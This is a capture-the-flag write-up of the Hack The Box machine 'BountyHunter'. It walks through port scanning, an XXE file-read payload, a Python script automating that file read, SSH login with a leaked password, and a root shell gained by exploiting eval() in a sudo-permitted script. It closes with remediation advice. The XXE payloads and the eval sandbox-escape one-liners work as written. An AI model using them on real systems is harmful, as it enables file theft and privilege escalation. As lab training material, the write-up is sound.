Hack The Box Walkthrough - BountyHunter

Hack The Box Walkthrough - BountyHunter


This is a very easy box where you have to exploit and XXE vulnerability to get a shell before abusing a python program to get root.

Opened Ports

As always, I started the box by running RustScan to find open ports.

$ rustscan -a target -- -A | tee rust.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/ehogue/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")


22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLosZOXFZWvSPhPmfUE7v+PjfXGErY0KCPmAWrTUkyyFWRFO3gwHQMQqQUIcuZHmH20xMb+mNC6xnX2TRmsyaufPXLmib9Wn0BtEYbVDlu2mOdxWfr+LIO8yvB+kg2Uqg+QHJf7SfTvdO606eBjF0uhTQ95wnJddm7WWVJlJMng7+/1NuLAAzfc0ei14XtyS1u6
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKlGEKJHQ/zTuLAvcemSaOeKfnvOC4s1Qou1E0o9Z0gWONGE1cVvgk1VxryZn7A0L1htGGQqmFe50002LfPQfmY=
|   256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJeoMhM6lgQjk6hBf+Lw/sWR4b1h8AEiDv+HAbTNk4J3
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Bounty Hunters
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


There were two open ports:

  • 22 - SSH
  • 80 - HTTP

Web site

I launched feroxbuster to look for files and directories. While it ran, I opened firefox and looked at the website.

Main Site

There was a contact form on the bottom of the page, but submitting it did nothing. Most of the links were not going anywhere. Only the Portal link worked. It took me to a simple page that had a link to a bounty tracker. That page had a form to submit exploits.

Bounty Report System

I looked at the POST requests that were sent when submitting a report.

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: target.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 221
Origin: http://target.htb
Connection: close
Referer: http://target.htb/log_submit.php


The form was submitting URL and Base64 encoded data. I used CyberChef to decode it and saw that it was sending XML.

<?xml  version="1.0" encoding="ISO-8859-1"?>

Looking at the JavaScript code that posted the data confirmed that it was just sending XML to the server.

function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		let data = await returnSecret(btoa(xml));
	catch(error) {
		console.log('Error:', error);

This looked like it could be vulnerable to XXE (XML External Entity). To test it, I created a test payload and encoded it with CyberChef.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

I sent it to the server. And the response contained the /etc/passwd file.

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Encoding everything manually was a little painful, so I created a small script to read a file from the server and print it’s content. I used PHP filters to get the file content as base64 and to be able to extract the content of PHP files without executing them.

#!/bin/env python
import sys
import base64
import requests
import re

file = sys.argv[1]

# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://{file}"> ]>
xml = f"""<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={file}"> ]>

encoded = base64.b64encode(xml.encode("utf-8"))

data = {"data":encoded}
response = requests.post('http://target.htb/tracker_diRbPr00f314.php', data=data).text

matches = re.search("BEGIN(.*)END", response, re.DOTALL|re.MULTILINE)
if None == matches:
    print('File not found')

decoded = base64.b64decode(matches[1])

I started looking at files from the server, but I did not find anything I could use. Until I went back to the Feroxbuster results and saw a file called db.php.

I extracted that file with my script.

$ ./get_file.py db.php         
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "REDACTED";
$testuser = "test";

I used the password found in the file to try to connect as the development user found in /etc/passwd.

$ ssh development@target
development@target's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)


development@bountyhunter:~$ cat user.txt 


It worked, and I got the user flag.

Getting root.

Once connected, I checked if I could run anything with sudo.

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

development@bountyhunter:~$ ls -l /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1471 Jul 22  2021 /opt/skytrain_inc/ticketValidator.py

I could run a Python script. That script was not writeable, so I looked at what it contained.

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0] 
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


The script would read a file provided by the user, and if it respected the needed format, it would use eval to evalute the ticket code.

The ticket code line needed to start with **. The rest of the line would be split on + signs, and the code would make sure that the part before the first + sign would have a reminder of 4 if divided by 7.

I crafted a ticket that would meet those conditions, and execute some Python when passed to eval.

development@bountyhunter:~$ cat t.md 
# Skytrain Inc
## Ticket to 

__Ticket Code:__
** 4 + print('RCE')

development@bountyhunter:~$ python3.8 /opt/skytrain_inc/ticketValidator.py 
Please enter the path to the ticket file.
Traceback (most recent call last):
  File "/opt/skytrain_inc/ticketValidator.py", line 52, in <module>
  File "/opt/skytrain_inc/ticketValidator.py", line 45, in main
    result = evaluate(ticket)
  File "/opt/skytrain_inc/ticketValidator.py", line 34, in evaluate
    validationNumber = eval(x.replace("**", ""))
  File "<string>", line 1, in <module>
TypeError: unsupported operand type(s) for +: 'int' and 'NoneType'

The script crashed, but it printed RCE before. So I could run Python code with it. I tried running code that did more than printing a line, but that was a little more complicated. I could not import modules to run system commands.

I searched and found a post that explained how to view and use built-in functions in eval one-liners.

I used the provided examples from the post to confirm that I could use the BuiltinImporter to import the os module and use it to execute commands on the server.

development@bountyhunter:~$ cat t.md 
# Skytrain Inc
## Ticket to 

__Ticket Code:__
** 4 + [x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').system("echo pwned")

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
Invalid ticket.

When I confirmed that I could run system commands, I used it to launch bash as root.

development@bountyhunter:~$ cat t.md 
# Skytrain Inc
## Ticket to 

__Ticket Code:__
** 4 + [x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').system("/bin/bash -p")

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
root@bountyhunter:/home/development# whoami
root@bountyhunter:/home/development# cd
root@bountyhunter:~# cat root.txt 


The first vulnerability on the site is the XXE. I don’t see any reason to pass the data as XML, it just adds more code, and opens the application to this kind of attack. A simple HTML form would have worked, and it would have been simpler.

If XML was really needed, the code was easy to fix.

$dom = new DOMDocument();
$bugreport = simplexml_import_dom($dom);

The call to loadXML should not use the LIBXML_NOENT option. If that option is removed, the XXE fails.

The next issue with the Python script that could be executed as root. Giving root permissions is always a risky thing to do. It takes a small mistake in the code to allow an attacker to escalate their privileges. And this script has a huge mistake. eval should be avoided. And it should never be used on user’s input.